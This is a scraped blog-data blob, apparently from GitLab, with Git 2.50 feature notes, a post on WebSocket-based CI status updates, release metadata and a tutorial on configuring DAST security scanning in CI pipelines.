git update-ref --stdin \u003C\u003CEOF\n\n> create refs/heads/bar cf469bdf5436ea1ded57670b5f5a0797f72f1afc\n\n> update refs/heads/foo 5a6b339a8ebffde8c0590553045403dbda831518\n5a74cd330f04b96ce0666af89682d4d7580c354c\n\n> EOF\n\nfatal: cannot lock ref 'refs/heads/foo': is at\ncf469bdf5436ea1ded57670b5f5a0797f72f1afc but expected\n5a74cd330f04b96ce0666af89682d4d7580c354c\n\n\n# The \"bar\" reference was not created.\n\n$ git switch bar\n\nfatal: invalid reference: bar\n\n```\n\n\nCompared to updating many references individually, updating in bulk is also\n\nmuch more efficient. While this works well, there might be certain\n\ncircumstances where it is okay for a subset of the requested reference\nupdates\n\nto fail, but we still want to take advantage of the efficiency gains of bulk\n\nupdates.\n\n\nWith this release, `git-update-ref(1)` has the new `--batch-updates` option,\n\nwhich allows the updates to proceed even when one or more reference updates\n\nfails. In this mode, individual failures are reported in the following\nformat:\n\n\n```text\n\nrejected SP (\u003Cold-oid> | \u003Cold-target>) SP (\u003Cnew-oid> | \u003Cnew-target>) SP\n\u003Crejection-reason> LF\n\n```\n\n\nThis allows successful reference updates to proceed while providing context\nto\n\nwhich updates were rejected and for what reason. Using the same example\n\nrepository from the previous example:\n\n\n```shell\n\n# Attempt to create a new reference and update existing reference in\ntransaction.\n\n$ git update-ref --stdin --batch-updates \u003C\u003CEOF\n\n> create refs/heads/bar cf469bdf5436ea1ded57670b5f5a0797f72f1afc\n\n> update refs/heads/foo 5a6b339a8ebffde8c0590553045403dbda831518\n5a74cd330f04b96ce0666af89682d4d7580c354c\n\n> EOF\n\nrejected refs/heads/foo 5a6b339a8ebffde8c0590553045403dbda831518\n5a74cd330f04b96ce0666af89682d4d7580c354c incorrect old value provided\n\n\n# The \"bar\" reference was created even though the update to \"foo\" was\nrejected.\n\n$ git switch bar\n\nSwitched to branch 'bar'\n\n```\n\n\nThis time, with the `--batch-updates` option, the reference creation\nsucceeded\n\neven though the update didn't work. This patch series lays the groundwork\nfor\n\nfuture performance improvements in `git-fetch(1)` and `git-receive-pack(1)`\n\nwhen references are updated in bulk. For more information, check the\n\n[mailing-list\nthread](https://lore.kernel.org/git/20250408085120.614893-1-karthik.188@gmail.com/)\n\n\n_This project was led by [Karthik Nayak](https://gitlab.com/knayakgl)._\n\n\n## New filter option for git-cat-file(1)\n\n\nWith [`git-cat-file(1)`](https://git-scm.com/docs/git-cat-file), it is\npossible\n\nto print info for all objects contained in the repository via the\n\n`--batch–all-objects` option. For example:\n\n\n```shell\n\n# Setup simple repository.\n\n$ git init\n\n$ echo foo >foo\n\n$ git add foo\n\n$ git commit -m init\n\n\n# Create an unreachable object.\n\n$ git commit --amend --no-edit\n\n\n# Use git-cat-file(1) to print info about all objects including unreachable\nobjects.\n\n$ git cat-file --batch-all-objects --batch-check='%(objecttype)\n%(objectname)'\n\ncommit 0b07e71d14897f218f23d9a6e39605b466454ece\n\ntree 205f6b799e7d5c2524468ca006a0131aa57ecce7\n\nblob 257cc5642cb1a054f08cc83f2d943e56fd3ebe99\n\ncommit c999f781fd7214b3caab82f560ffd079ddad0115\n\n```\n\n\nIn some situations, a user might want to search through all objects in the\n\nrepository, but only output a subset based on some specified attribute. For\n\nexample, if we wanted to see only the objects that are commits, we could use\n\n`grep(1)`:\n\n\n```shell\n\n$ git cat-file --batch-all-objects --batch-check='%(objecttype)\n%(objectname)' | grep ^commit\n\ncommit 0b07e71d14897f218f23d9a6e39605b466454ece\n\ncommit c999f781fd7214b3caab82f560ffd079ddad0115\n\n```\n\n\nWhile this works, one downside with filtering the output is that\n\n`git-cat-file(1)` still has to traverse all the objects in the repository,\neven\n\nthe ones that the user is not interested in. This can be rather inefficient.\n\n\nWith this release, `git-cat-file(1)` now has the `--filter` option, which\nonly\n\nshows objects matching the specified criteria. This is similar to the option\nof\n\nthe same name for `git-rev-list(1)`, but with only a subset of the filters\n\nsupported. The supported filters are `blob:none`, `blob:limit=`, as well as\n\n`object:type=`. Similar to the previous example, objects can be filtered by\n\ntype with Git directly:\n\n\n```shell\n\n$ git cat-file --batch-all-objects --batch-check='%(objecttype)\n%(objectname)' --filter='object:type=commit'\n\ncommit 0b07e71d14897f218f23d9a6e39605b466454ece\n\ncommit c999f781fd7214b3caab82f560ffd079ddad0115\n\n```\n\n\nNot only is it convenient for Git to handle the processing, for large\n\nrepositories with many objects, it is also potentially more efficient. If a\n\nrepository has bitmap indices, it becomes possible for Git to efficiently\n\nlookup objects of a specific type, and thus avoid scanning through the\n\npackfile, which leads to a significant speedup. Benchmarks conducted on the\n\n[Chromium repository](https://github.com/chromium/chromium.git) show\n\nsignificant improvements:\n\n\n```text\n\nBenchmark 1: git cat-file --batch-check --batch-all-objects --unordered\n--buffer --no-filter\n   Time (mean ± σ):     82.806 s ±  6.363 s    [User: 30.956 s, System: 8.264 s]\n   Range (min … max):   73.936 s … 89.690 s    10 runs\n\nBenchmark 2: git cat-file --batch-check --batch-all-objects --unordered\n--buffer --filter=object:type=tag\n   Time (mean ± σ):      20.8 ms ±   1.3 ms    [User: 6.1 ms, System: 14.5 ms]\n   Range (min … max):    18.2 ms …  23.6 ms    127 runs\n\nBenchmark 3: git cat-file --batch-check --batch-all-objects --unordered\n--buffer --filter=object:type=commit\n   Time (mean ± σ):      1.551 s ±  0.008 s    [User: 1.401 s, System: 0.147 s]\n   Range (min … max):    1.541 s …  1.566 s    10 runs\n\nBenchmark 4: git cat-file --batch-check --batch-all-objects --unordered\n--buffer --filter=object:type=tree\n   Time (mean ± σ):     11.169 s ±  0.046 s    [User: 10.076 s, System: 1.063 s]\n   Range (min … max):   11.114 s … 11.245 s    10 runs\n\nBenchmark 5: git cat-file --batch-check --batch-all-objects --unordered\n--buffer --filter=object:type=blob\n   Time (mean ± σ):     67.342 s ±  3.368 s    [User: 20.318 s, System: 7.787 s]\n   Range (min … max):   62.836 s … 73.618 s    10 runs\n\nBenchmark 6: git cat-file --batch-check --batch-all-objects --unordered\n--buffer --filter=blob:none\n   Time (mean ± σ):     13.032 s ±  0.072 s    [User: 11.638 s, System: 1.368 s]\n   Range (min … max):   12.960 s … 13.199 s    10 runs\n\nSummary\n   git cat-file --batch-check --batch-all-objects --unordered --buffer --filter=object:type=tag\n    74.75 ± 4.61 times faster than git cat-file --batch-check --batch-all-objects --unordered --buffer --filter=object:type=commit\n   538.17 ± 33.17 times faster than git cat-file --batch-check --batch-all-objects --unordered --buffer --filter=object:type=tree\n   627.98 ± 38.77 times faster than git cat-file --batch-check --batch-all-objects --unordered --buffer --filter=blob:none\n  3244.93 ± 257.23 times faster than git cat-file --batch-check --batch-all-objects --unordered --buffer --filter=object:type=blob\n  3990.07 ± 392.72 times faster than git cat-file --batch-check --batch-all-objects --unordered --buffer --no-filter\n```\n\n\nInterestingly, these results indicate that the computation time now scales\nwith\n\nthe number of objects for a given type instead of the number of total\nobjects\n\nin the packfile. The original mailing-list thread can be found\n\n[here](https://lore.kernel.org/git/20250221-pks-cat-file-object-type-filter-v1-0-0852530888e2@pks.im/).\n\n\n_This project was led by [Patrick\nSteinhardt](https://gitlab.com/pks-gitlab)._\n\n\n## Improved performance when generating bundles\n\n\nGit provides a means to generate an archive of a repository which contains a\n\nspecified set of references and accompanying reachable objects via the\n\n[`git-bundle(1)`](https://git-scm.com/docs/git-bundle) command. This\noperation\n\nis used by GitLab to generate repository backups and also as part of the\n\n[bundle-URI](https://git-scm.com/docs/bundle-uri) mechanism.\n\n\nFor large repositories containing millions of references, this operation can\n\ntake hours or even days. For example, with the main GitLab repository\n\n([gitlab-org/gitlab](https://gitlab.com/gitlab-org/gitlab)), backup times\nwere\n\naround 48 hours. Investigation revealed there was a performance bottleneck\ndue\n\nto how Git was performing a check to avoid duplicated references being\nincluded\n\nin the bundle. The implementation used a nested `for` loop to iterate and\n\ncompare all listed references, leading to O(N^2) time complexity. This\nscales\n\nvery poorly as the number of references in a repository increases.\n\n\nIn this release, this issue was addressed by replacing the nested loops with\na\n\nmap data structure leading to a significant speedup. The following benchmark\n\nthe performance improvement for creating a bundle with a repository\ncontaining\n\n100,000 references:\n\n\n```text\n\nBenchmark 1: bundle (refcount = 100000, revision = master)\n  Time (mean ± σ):     14.653 s ±  0.203 s    [User: 13.940 s, System: 0.762 s]\n  Range (min … max):   14.237 s … 14.920 s    10 runs\n\nBenchmark 2: bundle (refcount = 100000, revision = HEAD)\n  Time (mean ± σ):      2.394 s ±  0.023 s    [User: 1.684 s, System: 0.798 s]\n  Range (min … max):    2.364 s …  2.425 s    10 runs\n\nSummary\n  bundle (refcount = 100000, revision = HEAD) ran\n    6.12 ± 0.10 times faster than bundle (refcount = 100000, revision = master)\n```\n\n\nTo learn more, check out our blog post\n\n[How we decreased GitLab repo backup times from 48 hours to 41\nminutes](https://about.gitlab.com/blog/how-we-decreased-gitlab-repo-backup-times-from-48-hours-to-41-minutes/).\n\nYou can also find the original mailing list thread\n\n[here](https://lore.kernel.org/git/20250401-488-generating-bundles-with-many-references-has-non-linear-performance-v1-0-6d23b2d96557@gmail.com/).\n\n\n_This project was led by [Karthik Nayak](https://gitlab.com/knayakgl)._\n\n\n## Better bundle URI unbundling\n\n\nThrough the [bundle URI](https://git-scm.com/docs/bundle-uri) mechanism in\nGit,\n\nlocations to fetch bundles from can be provided to clients with the goal to\n\nhelp speed up clones and fetches. When a client downloads a bundle,\nreferences\n\nunder `refs/heads/*` are copied from the bundle into the repository along\nwith\n\ntheir accompanying objects. A bundle might contain additional references\n\noutside of `refs/heads/*` such as `refs/tags/*`, which are simply ignored\nwhen\n\nusing bundle URI on clone.\n\n\nIn Git 2.50, this restriction is lifted, and all references\n\nmatching `refs/*` contained in the downloaded bundle are copied.\n\n[Scott Chacon](https://github.com/schacon), who contributed this\nfunctionality,\n\ndemonstrates the difference when cloning\n\n[gitlab-org/gitlab-foss](https://gitlab.com/gitlab-org/gitlab-foss):\n\n\n```shell\n\n$ git-v2.49 clone --bundle-uri=gitlab-base.bundle\nhttps://gitlab.com/gitlab-org/gitlab-foss.git gl-2.49\n\nCloning into 'gl2.49'...\n\nremote: Enumerating objects: 1092703, done.\n\nremote: Counting objects: 100% (973405/973405), done.\n\nremote: Compressing objects: 100% (385827/385827), done.\n\nremote: Total 959773 (delta 710976), reused 766809 (delta 554276),\npack-reused 0 (from 0)\n\nReceiving objects: 100% (959773/959773), 366.94 MiB | 20.87 MiB/s, done.\n\nResolving deltas: 100% (710976/710976), completed with 9081 local objects.\n\nChecking objects: 100% (4194304/4194304), done.\n\nChecking connectivity: 959668, done.\n\nUpdating files: 100% (59972/59972), done.\n\n\n$ git-v2.50 clone --bundle-uri=gitlab-base.bundle\nhttps://gitlab.com/gitlab-org/gitlab-foss.git gl-2.50\n\nCloning into 'gl-2.50'...\n\nremote: Enumerating objects: 65538, done.\n\nremote: Counting objects: 100% (56054/56054), done.\n\nremote: Compressing objects: 100% (28950/28950), done.\n\nremote: Total 43877 (delta 27401), reused 25170 (delta 13546), pack-reused 0\n(from 0)\n\nReceiving objects: 100% (43877/43877), 40.42 MiB | 22.27 MiB/s, done.\n\nResolving deltas: 100% (27401/27401), completed with 8564 local objects.\n\nUpdating files: 100% (59972/59972), done.\n\n```\n\n\nComparing these results, we see that Git 2.50 fetches 43,887 objects\n\n(40.42 MiB) after the bundle was extracted whereas Git 2.49 fetches a\n\ntotal of 959,773 objects (366.94 MiB). Git 2.50 fetches roughly 95% fewer\n\nobjects and 90% less data, which benefits both the client and the server.\nThe\n\nserver needs to process a lot less data to the client and the client needs\nto\n\ndownload and extract less data. In the example provided by Scott this led to\na\n\nspeedup of 25%.\n\n\nTo learn more, check out the corresponding\n\n[mailing-list\nthread](https://lore.kernel.org/git/pull.1897.git.git.1740489585344.gitgitgadget@gmail.com/).\n\n\n_This patch series was contributed by [Scott\nChacon](https://github.com/schacon)._\n\n\n## Read more\n\n\nThis article highlighted just a few of the contributions made by GitLab and\n\nthe wider Git community for this latest release. You can learn about these\nfrom\n\nthe [official release\nannouncement](https://lore.kernel.org/git/xmqq1prj1umb.fsf@gitster.g/) of\nthe Git project. Also, check\n\nout our [previous Git release blog\nposts](https://about.gitlab.com/blog/tags/git/)\n\nto see other past highlights of contributions from GitLab team members.\n","2025-06-16",[1006,923,269],{"featured":91,"template":808,"slug":1106},"what-s-new-in-git-2-50-0",{"category":90,"slug":776,"posts":1108},[1109,1119,1129],{"content":1110,"config":1117},{"title":1111,"description":1112,"heroImage":1113,"date":1114,"category":776,"tags":1115},"GitLab 18.4 released","Latest version of GitLab includes Duo Model Selection generally available, Knowledge Graph, and more.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1758202527/zbdm4mehauv3poqetyhk.png","2025-09-18",[776,1116],"releases",{"featured":91,"template":808,"externalUrl":1118},"https://about.gitlab.com/releases/2025/09/18/gitlab-18-4-released/",{"content":1120,"config":1127},{"title":1121,"description":1122,"authors":1123,"heroImage":881,"date":1054,"body":1125,"category":776,"tags":1126},"How we supercharged GitLab CI statuses with WebSockets","Learn how we reduced API calls on GitLab's CI job status updates from 45 million to 3.4 million calls per day. Users now see job status changes instantly instead of waiting up to 30 seconds.",[1124],"Payton Burdette","We just reduced API calls by 92.56% on GitLab's CI job status updates – from 45 million to 3.4 million calls per day. Instead of needing to wait up to half a minute, users now see job status changes instantly. Here's how we did it.\n\n## The problem: Polling in 2025\nIt's 2025, WebSockets are in and polling is out. Polling is more of a legacy method of getting \"real-time\" updates for software. It's time-driven, meaning clients make network calls to a server on an interval usually between 5 and 30 seconds. Even if the data hasn't changed, those network requests are made to try and get the most accurate data served to the client.\nWebSockets are event-driven, so you only make network requests to the server when the data has actually changed, i.e., a status in a database column changes from `pending` to `running`. Unlike traditional HTTP requests where the client repeatedly asks the server for updates (polling), WebSockets establish a persistent, two-way connection between the client and server. This means the server can instantly push updates to the client the moment something changes, eliminating unnecessary network traffic and reducing latency. For monitoring job statuses or real-time data, this is far more efficient than having clients poll the server every few seconds just to check if anything is different. \n## The transformation\nPreviously, the job header on the job log view was utilizing polling to get the most recent status for a single job. That component made a network request every 30 seconds no matter what to try and get the true state of the job.\n![Job header on job log view](https://res.cloudinary.com/about-gitlab-com/image/upload/v1757932872/b4zsw0zaasxnu5mm7szu.png)\n\nOur metrics showed that:\n* **547,145** network calls happened per 15 minutes\n* **45,729,530** network calls happened per 24 hours\nUsers experienced frustrating delays seeing status updates, and we were hammering our database.\n## Enter GraphQL subscriptions\n\nIn comes GraphQL subscriptions with WebSockets. GraphQL subscriptions are a feature that extends GraphQL beyond simple request-response queries and mutations, allowing clients to maintain a real-time connection to the server. While regular GraphQL queries fetch data once and return it, subscriptions let you say 'notify me whenever this specific data changes.' Under the hood, GraphQL subscriptions typically use WebSockets to maintain that persistent connection. Here's what we did:\n1. First, we refactored the job header component to use GraphQL for its data\n2. Then we implemented a GraphQL subscription to serve real-time updates with ActionCable (Rails' WebSocket framework).\n## The results\nAfter this implementation, our users now get truly real-time accurate job status – updates appear instantly when jobs change state. The performance gains are remarkable:\n* **92.56% reduction** in API calls for this component\n* Now averaging **39,670** network calls per 15 minutes (down from 547,145)\n* Only **3,403,395** network calls per 24 hours (down from 45,729,530)\nWe also monitored CPU utilization and operation rate per command over the last week and have not seen any significant increase on our services. Win-win for the software and the team.\n## What's next\nThis is just the beginning. We're working on making every CI status in the GitLab product real-time. Currently, many parts of GitLab's UI still rely on polling to check for updates. Our goal is to systematically replace these polling mechanisms with GraphQL subscriptions, giving users instant feedback across the entire CI/CD workflow.\nWant to see this capability in action? Check out any job log view and watch those status updates fly. Not a GitLab user yet? [Try GitLab Ultimate with GitLab Duo Enterprise](https://about.gitlab.com/free-trial/devsecops/) for free for 30 days.",[776,820,109],{"featured":6,"template":808,"slug":1128},"how-we-supercharged-gitlab-ci-statuses-with-websockets",{"content":1130,"config":1136},{"title":1131,"description":1132,"heroImage":1133,"date":1004,"category":776,"tags":1134},"GitLab Patch Release: 18.3.2, 18.2.6, 18.1.6","Learn more about this patch release for GitLab Community Edition and Enterprise Edition.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749661926/Blog/Hero%20Images/security-patch-blog-image-r2-0506-700x400-fy25_2x.jpg",[1135],"patch releases",{"featured":6,"template":808,"externalUrl":1137},"https://about.gitlab.com/releases/2025/09/10/patch-release-gitlab-18-3-2-released/",{"category":125,"slug":786,"posts":1139},[1140,1151,1163],{"config":1141,"content":1143},{"slug":1142,"featured":91,"template":808},"comprehensive-guide-to-gitlab-dast",{"title":1144,"description":1145,"authors":1146,"heroImage":1147,"date":1040,"category":786,"tags":1148,"body":1150},"A comprehensive guide to GitLab DAST","DevSecOps teams can learn how to implement and configure dynamic application security testing, perform passive/active scans, and set security policies.",[1015],"https://res.cloudinary.com/about-gitlab-com/image/upload/v1756122536/akivvcnafog9c4dhhzkp.png",[786,821,1149],"testing","Modern businesses entirely depend on web-based platforms for customer interactions, financial\ntransactions, data processing, and core business operations. As digital transformation\naccelerates and remote or hybrid work becomes the norm, the attack surface for web applications has\nexpanded dramatically, making them prime targets for cybercriminals. Therefore, securing web applications has become more critical than ever.\n\nWhile static code analysis catches vulnerabilities in source code, it cannot identify\nruntime security issues that emerge when applications interact with real-world\nenvironments, third-party services, and complex user workflows. This is where Dynamic\nApplication Security Testing ([DAST](https://docs.gitlab.com/user/application_security/dast/)) becomes invaluable. GitLab's integrated DAST solution provides teams with automated security testing capabilities directly within their CI/CD pipelines, on a schedule, or on-demand, enabling continuous security validation\nwithout disrupting development workflows.\n\n## Why DAST?\n\nDAST should be implemented because it provides critical runtime security validation by testing applications\nin their actual operating environment, identifying vulnerabilities that static analysis cannot detect.\nAdditionally, GitLab DAST can be seamlessly integrated into shift-left security workflows, and\ncan enhance compliance assurance along with risk management.\n\n### Runtime vulnerability detection\n\nDAST excels at identifying security vulnerabilities that only manifest when applications are running.\nUnlike static analysis tools that examine code at rest, DAST scanners interact with live applications\nas an external attacker would, uncovering issues such as:\n\n- **Authentication and session management flaws** that could allow unauthorized access\n- **Input validation vulnerabilities,** including SQL injection, cross-site scripting (XSS), and command injection\n- **Configuration weaknesses** in web servers, databases, and application frameworks\n- **Business logic flaws** that emerge from complex user interactions\n- **API security issues,** including improper authentication, authorization, and data exposure\n\nDAST complements other security testing approaches to provide comprehensive application security coverage. When combined with Static Application Security Testing ([SAST](https://docs.gitlab.com/user/application_security/sast/)), Software Composition Analysis ([SCA](https://docs.gitlab.com/user/application_security/dependency_scanning/)), manual\npenetration testing, and [many other scanner types](https://about.gitlab.com/solutions/application-security-testing/), DAST fills critical gaps in security validation:\n\n- **Black-box testing perspective** that mimics real-world attack scenarios\n- **Environment-specific testing** that validates security in actual deployment configurations\n- **Third-party component testing,** including APIs, libraries, and external services\n- **Configuration validation** across the entire application stack\n\n### Seamless shift-left security integration\n\nGitLab DAST seamlessly integrates into existing CI/CD pipelines, enabling teams to identify security\nissues early in the development lifecycle. This shift-left approach provides several key benefits:\n\n- **Cost reduction** — Fixing vulnerabilities during development is significantly less expensive than addressing them in production. Studies show that remediation costs can be 10 to 100 times higher in production environments.\n- **Faster time-to-market** — Automated security testing eliminates bottlenecks caused by manual security reviews, allowing teams to maintain rapid deployment schedules while ensuring security standards.\n- **Developer empowerment** — By providing immediate feedback on security issues, DAST helps developers build security awareness and improve their coding practices over time.\n\n### Compliance and risk management\n\nMany regulatory frameworks and industry standards require regular security testing of web applications.\nDAST helps organizations meet compliance requirements for standards such as:\n\n- **PCI DSS** for applications handling payment card data\n- **SOC 2** security controls for service organizations\n- **ISO 27001** information security management requirements\n\nThe automated nature of GitLab DAST ensures consistent, repeatable security testing that auditors can\nrely on, while detailed reporting provides the documentation needed for compliance validation.\n\n## Implementing DAST\n\nBefore implementing GitLab DAST, ensure your environment meets the following requirements:\n\n- **GitLab version and Ultimate subscription** — DAST is available in [GitLab Ultimate](https://about.gitlab.com/pricing/ultimate/) and requires GitLab 13.4 or later for full functionality; however, the [latest version](https://about.gitlab.com/releases/categories/releases/) is recommended.\n- **Application accessibility** — Your application must be accessible via HTTP/HTTPS with a publicly reachable URL or accessible within your GitLab Runner's network.\n- **Authentication setup** — If your application requires authentication, prepare test credentials or configure authentication bypass mechanisms for security testing.\n\n### Basic implementation\n\nThe simplest way to add DAST to your pipeline is by including the DAST template in your [`.gitlab-ci.yml`](https://docs.gitlab.com/ci/#step-1-create-a-gitlab-ciyml-file) file\nand providing a website to scan:\n\n```yaml\ninclude:\n  - template: DAST.gitlab-ci.yml\n\nvariables:\n  DAST_WEBSITE: \"https://your-application.example.com\"\n```\n\nThis basic configuration will:\n- Run a DAST scan against your specified website\n- Generate a security report in GitLab's security dashboard\n- Fail the pipeline if high-severity vulnerabilities are detected\n- Store scan results as pipeline artifacts\n\nHowever, it is suggested to gain the full benefit of [CI/CD](https://about.gitlab.com/topics/ci-cd/), you can first deploy the application\nand set DAST to run only after an application has been deployed. The application URL can be\ndynamically created and the DAST job can be configured fully with [GitLab Job syntax](https://docs.gitlab.com/ci/yaml/).\n\n```yaml\nstages:\n  - build\n  - deploy\n  - dast\n\ninclude:\n  - template: Security/DAST.gitlab-ci.yml\n\n# Builds and pushes application to GitLab's built-in container registry\nbuild:\n  stage: build\n  variables:\n    IMAGE: $CI_REGISTRY_IMAGE/$CI_COMMIT_REF_SLUG:$CI_COMMIT_SHA\n  before_script:\n    - docker login -u $CI_REGISTRY_USER -p $CI_REGISTRY_PASSWORD $CI_REGISTRY\n  script:\n    - docker build -t $IMAGE .\n    - docker push $IMAGE\n\n# Deploys application to your suggested target, setsup the dast site dynamically, requires build to complete\ndeploy:\n  stage: deploy\n  script:\n    - echo \"DAST_WEBSITE=http://your-application.example.com\" >> deploy.env\n    - echo \"Perform deployment here\"\n  environment:\n    name: $DEPLOY_NAME\n    url: http://your-application.example.com\n  artifacts:\n    reports:\n      dotenv: deploy.env\n  dependencies:\n    - build\n\n# Configures DAST to run a an active scan on non-main branches, and a passive scan on the main branches and requires a deployment to complete before it is run\ndast:\n  stage: dast\n  rules:\n    - if: $CI_COMMIT_REF_NAME == $CI_DEFAULT_BRANCH\n      variables:\n        DAST_FULL_SCAN: \"false\"\n    - if: $CI_COMMIT_REF_NAME != $CI_DEFAULT_BRANCH\n      variables:\n        DAST_FULL_SCAN: \"true\"\n  dependencies:\n    - deploy\n```\n\nYou can learn from an example by seeing the [Tanuki Shop](https://gitlab.com/gitlab-da/tutorials/security-and-governance/tanuki-shop) demo application, which generates the\nfollowing pipeline:\n\n![Standard DAST Pipeline](https://res.cloudinary.com/about-gitlab-com/image/upload/v1758118303/rr3cyxjwyecxbmrdxon6.png)\n\n### Understanding passive vs. active scans\n\nIn the example above we enabled active scanning for non-default branches:\n\n```yaml\n- if: $CI_COMMIT_REF_NAME != $CI_DEFAULT_BRANCH\n  variables:\n    DAST_FULL_SCAN: \"true\"\n```\n\nGitLab DAST employs two distinct scanning methodologies (passive and active), each serving\ndifferent security testing needs.\n\n**Passive scans** analyze application responses without sending potentially harmful requests. This approach:\n\n- Examines HTTP headers, cookies, and response content for security misconfigurations\n- Identifies information disclosure vulnerabilities like exposed server versions or stack traces\n- Detects missing security headers (CSP, HSTS, X-Frame-options)\n- Analyzes SSL/TLS configuration and certificate issues\n\n**Active scans** send crafted requests designed to trigger vulnerabilities. This approach:\n\n- Tests for injection vulnerabilities (SQL injection, XSS, command injection)\n- Attempts to exploit authentication and authorization flaws\n- Validates input sanitization and output encoding\n- Tests for business logic vulnerabilities\n\n**Note:** The DAST scanner is set to passive by default.\n\nDAST has several configuration options that can be applied via environment variables.\nFor a list of all the possible configuration options for DAST, see the [DAST documentation](https://docs.gitlab.com/user/application_security/dast/browser/configuration/customize_settings/).\n\n### Authentication configuration\n\nDAST requires authentication configuration in CI/CD jobs to achieve complete security coverage. Authentication enables DAST to simulate real attacks and test user-specific features only accessible after login. The DAST job typically authenticates by submitting login forms in a browser, then verifies success before continuing to crawl the application with saved credentials. Failed authentication stops the job.\n\nSupported authentication methods:\n- Single-step login form\n- Multi-step login form\n- Authentication to URLs outside the target scope\n\nHere is an example for a single-step login form in a [Tanuki Shop MR](https://gitlab.com/gitlab-da/tutorials/security-and-governance/tanuki-shop/-/merge_requests/20) which adds\nadmin authentication to non-default branches.\n\n```yaml\ndast:\n  stage: dast\n  before_script:\n    - echo \"DAST_TARGET_URL set to '$DAST_TARGET_URL'\" # Dynamically loaded from deploy job\n    - echo \"DAST_AUTH_URL set to '$DAST_TARGET_URL'\" # Dynamically loaded from deploy jobs\n  rules:\n    - if: $CI_COMMIT_REF_NAME == $CI_DEFAULT_BRANCH\n      variables:\n        DAST_FULL_SCAN: \"false\"\n    - if: $CI_COMMIT_REF_NAME != $CI_DEFAULT_BRANCH\n      variables:\n        DAST_FULL_SCAN: \"true\" # run both passive and active checks\n        DAST_AUTH_USERNAME: \"admin@tanuki.local\" # The username to authenticate to in the website\n        DAST_AUTH_PASSWORD: \"admin123\" # The password to authenticate to in the website\n        DAST_AUTH_USERNAME_FIELD: \"css:input[id=email]\" # A selector describing the element used to enter the username on the login form\n        DAST_AUTH_PASSWORD_FIELD: \"css:input[id=password]\" # A selector describing the element used to enter the password on the login form\n        DAST_AUTH_SUBMIT_FIELD: \"css:button[id=loginButton]\" # A selector describing the element clicked on to submit the login form\n        DAST_SCOPE_EXCLUDE_ELEMENTS: \"css:[id=navbarLogoutButton]\" # Comma-separated list of selectors that are ignored when scanning\n        DAST_AUTH_REPORT: \"true\" # generate a report detailing steps taken during the authentication process\n        DAST_REQUEST_COOKIES: \"welcomebanner_status:dismiss,cookieconsent_status:dismiss\" # A cookie name and value to be added to every request\n        DAST_CRAWL_GRAPH: \"true\" # generate an SVG graph of navigation paths visited during crawl phase of the scan\n  dependencies:\n    - deploy-kubernetes\n```\n\nYou can see if the authentication was successful by viewing the job logs:\n\n![Auth logs](https://res.cloudinary.com/about-gitlab-com/image/upload/v1758118293/zdxgwb6jmseyzwcjscrz.png)\n\nOnce this job completes it provides an authentication report which includes screenshots of the login page:\n\n![Auth report](https://res.cloudinary.com/about-gitlab-com/image/upload/v1758118292/idm62deg3ezeehcubmc1.png)\n\nYou can also see more examples on DAST with authentication in our [DAST demos](https://gitlab.com/gitlab-org/security-products/demos/dast/) group.\nTo learn more about how to perform DAST with authentication with your specific requirements, see the [DAST authentication documentation](https://docs.gitlab.com/user/application_security/dast/browser/configuration/authentication/).\n\n## Viewing results in MR\n\nGitLab's DAST seamlessly integrates security scanning into your development workflow\nby displaying results directly within merge requests:\n\n![DAST MR 1](https://res.cloudinary.com/about-gitlab-com/image/upload/v1758118293/rrx4n3pgxi9vmzlas8vp.png)  \n![DAST MR 2](https://res.cloudinary.com/about-gitlab-com/image/upload/v1758118294/rh9vwv6ohoaenpvicujm.png)  \n![DAST MR 3](https://res.cloudinary.com/about-gitlab-com/image/upload/v1758118294/ficelmulsc0r7bijf24m.png)\n\nThese results include comprehensive vulnerability data within MRs to help developers identify and address\nsecurity issues before code is merged. Here's what DAST typically reports:\n\n### Vulnerability details\n* Vulnerability name and type (e.g., SQL injection, XSS, CSRF)\n* Severity level (Critical, High, Medium, Low, Info)\n* CVSS score when applicable\n* Common Weakness Enumeration (CWE) identifier\n* Confidence level of the finding\n\n### Location information\n* URL/endpoint where the vulnerability was detected\n* HTTP method used (GET, POST, etc.)\n* Request/response details showing the vulnerable interaction\n* Parameter names that are vulnerable\n* Evidence demonstrating the vulnerability\n\n#### Technical context\n* Description of the vulnerability and potential impact\n* Proof of concept showing how the vulnerability can be exploited\n* Request/response pairs that triggered the finding\n* Scanner details (which DAST tool detected it)\n\n### Remediation guidance\n* Solution recommendations for fixing the vulnerability\n* References to security standards (OWASP, etc.)\n* Links to documentation for remediation steps\n\n## Viewing results in GitLab Vulnerability Report\n\nFor managing vulnerabilities located in the default (or production) branch, the GitLab Vulnerability Report provides a centralized dashboard for monitoring all security findings (in the default branch) across your entire project or organization. This comprehensive view aggregates all security scan results, offering filtering and sorting capabilities to help security teams prioritize remediation efforts. \n\n![Vulnerability Report](https://res.cloudinary.com/about-gitlab-com/image/upload/v1758118304/o8jjgngtxqplcgux9h5p.png)\n\nWhen selecting a vulnerability, you are taken to its vulnerability page:\n\n![Vulnerability Page 1](https://res.cloudinary.com/about-gitlab-com/image/upload/v1758118303/rolcgxhe0lh2s54zz2kc.png)  \n![Vulnerability Page 2](https://res.cloudinary.com/about-gitlab-com/image/upload/v1758118303/dubic3yacd5n11ine1vi.png)  \n![Vulnerability Page 3](https://res.cloudinary.com/about-gitlab-com/image/upload/v1758118303/iojrm3zasqxljuybbqcs.png)\n\nJust like in merge requests, the vulnerability page provides comprehensive vulnerability data, as seen above. From here you can triage vulnerabilities by assigning them with a status:\n\n* Needs triage (Default)\n* Confirmed\n* Dismissed (Acceptable risk, False positive, Mitigating control, Used in tests, Not applicable)\n* Resolved\n\nWhen a vulnerability status is changed, the audit log includes a note of who changed it, when it was changed, and the reason it was changed. This comprehensive system allows security teams to efficiently prioritize, track, and manage vulnerabilities throughout their lifecycle with clear accountability and detailed risk context.\n\n## On-demand and scheduled DAST\n\nGitLab provides flexible scanning options beyond standard CI/CD pipeline integration through\non-demand and scheduled DAST scans. On-demand scans allow security teams and developers to\ninitiate DAST testing manually whenever needed, without waiting for code commits or pipeline triggers.\nThis capability is particularly valuable for ad-hoc security assessments, incident response scenarios,\nor when testing specific application features that may not be covered in regular pipeline scans.\n\n![On-demand 1](https://res.cloudinary.com/about-gitlab-com/image/upload/v1758118296/hs3fhn42ceycmd94oaua.png)  \n![On-demand 2](https://res.cloudinary.com/about-gitlab-com/image/upload/v1758118298/wiptmr948xey6rrodosg.png)\n\nOn-demand scans can be configured with custom parameters, target URLs, and scanning profiles, making\nthem 